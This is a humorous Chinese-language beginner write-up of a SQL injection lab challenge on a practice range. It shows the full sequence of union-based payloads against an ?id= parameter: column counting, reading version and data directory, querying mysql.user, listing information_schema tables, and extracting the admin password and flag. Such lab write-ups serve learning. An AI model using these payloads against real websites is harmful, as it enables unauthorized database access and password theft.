第一章:为了女神小芳(新人能看懂的思路)
当我刚学完sql注入,感觉自己的任督二脉好像被打通了,想要和高手过两招,但是奈何pikachu已经满足不了我
的强大了,于是我在苦苦寻找对手,就在这时,我的好大哥yue哥,给我推荐了封神台这个靶场。
封神台官网 :https://hack.zkaq.cn/
0x01. 明确目标
为了我的女神小芳我发了猛烈的进攻 网址:https://hack.zkaq.cn/battle
注入的目标,拿到管理员的密码
0x02. 寻找注入点
我大笔一挥,点击传送门
凭借我敏锐的直觉,我要点击这个蓝色的a标签,这个超链接一定会把我带到考场,废话你看看地址栏啥也没有,
当前页面盲猜肯定和数据库没交互,肯定没有注入点
熟悉的它,熟悉的我,熟悉的我们又见面了,?id=1
于是我连忙或成id=2
试试会有什么不同,我不喜欢辛巴
这个懒偷的好,偷的秒,偷的瓜瓜叫,一下子将让我闻得到了sql注入点的那股熟悉的味道
于是我,三剑客又来了单引号,and 1=1,and 1=2,果然是一个注入点
虽然页面没有报错回显,但是当'和and 1=2时,页面都是空内容,说明都带入到数据库查询了,很有可能是代码
层面有对报错和布尔状态的一个检验,把这两中查询结果都用空内容展示。既然判断出来是注入点了,那么就开始
来一发注入吧
0x03. 注入流程
1. 注入方法的选定
很多时候你都不知道对待一个注入点你改怎么注入,虽然你的小脑瓜记住了很多注入的方法,但是你要学会灵活使
用啊,换句话来说你要知道什么情况使用什么注入方法,一般人的思路就是挨个试,没错就是挨个试,先挑最快
的,毕竟天下武功为快不破 --- 联合注入
2. 确定主查询语句的字段数
?id =1 order by 1
# 结果返回正常
?id =1 order by 2
# 结果返回正常
?id =1 order by 3
# 结果返回不正常
于是判断出主查询语句的字段数为2
3. 确定页面回显位置
?id=1 and 1=2 union select 741,521
别问我为什么不是1,2,我只想说1,2有什么意思,年轻就是要不一样
ok,确定了显示内容的位置,接下来就是唠家常了,就那几句
4. 获取库信息
数据库类型
?id=1 and 1=2 union select 741,@@datadir
mysql我喜欢,盲猜一波版本必定大于5.0,大于5.0你懂的哈,information_schema
版本信息
?id=1 and 1=2 union select 741,version()
当前数据库名称
?id=1 and 1=2 union select 741,version()
据我了解mysql数据库的用户密码是放在mysql库下的use表里面,既然是这样为何不尝试一下呢,反正又没人,
说不定试一试就成了呢
?id=1 and 1=2 union select 741,password from mysql.user
还是自己太年轻啊,人家说了要管理员的密码,但是管理员不一定是数据库管理员啊,这波是我sb了,而且没有
这个表
5. 获取表信息
获取当前库下所有的表
?id=1 and 1=2 union select 741,group_concat(table_name) from information_schema.tables where table_schema="maoshe"
看到admin我觉得离成功就差一步了,哈哈哈哈
6. 获取密码
我已经等不及了,什么字段的,就懒得看了,凭借我多年老司机的经验
我断定用户名字段必是username
,密码字段必是password
,而且管理员用户名必是admin
,就赌上我这200的
智商拼一把
?id=1 and 1=2 union select 741,password from maoshe.admin where username="admin"
哎呦不错,我果然是神机妙算,一把猜中
7. 提交flag验证
hellohack
0x04. 总结
靶场挺不错的,对待我这种看上去只会吹b,但是又有点操作的小白还是不错的,一般简单的SQL注入你就用联合
查询,如果页面没有回显内容再尝试报错注入,最后如果还是不行,那就用绝招盲注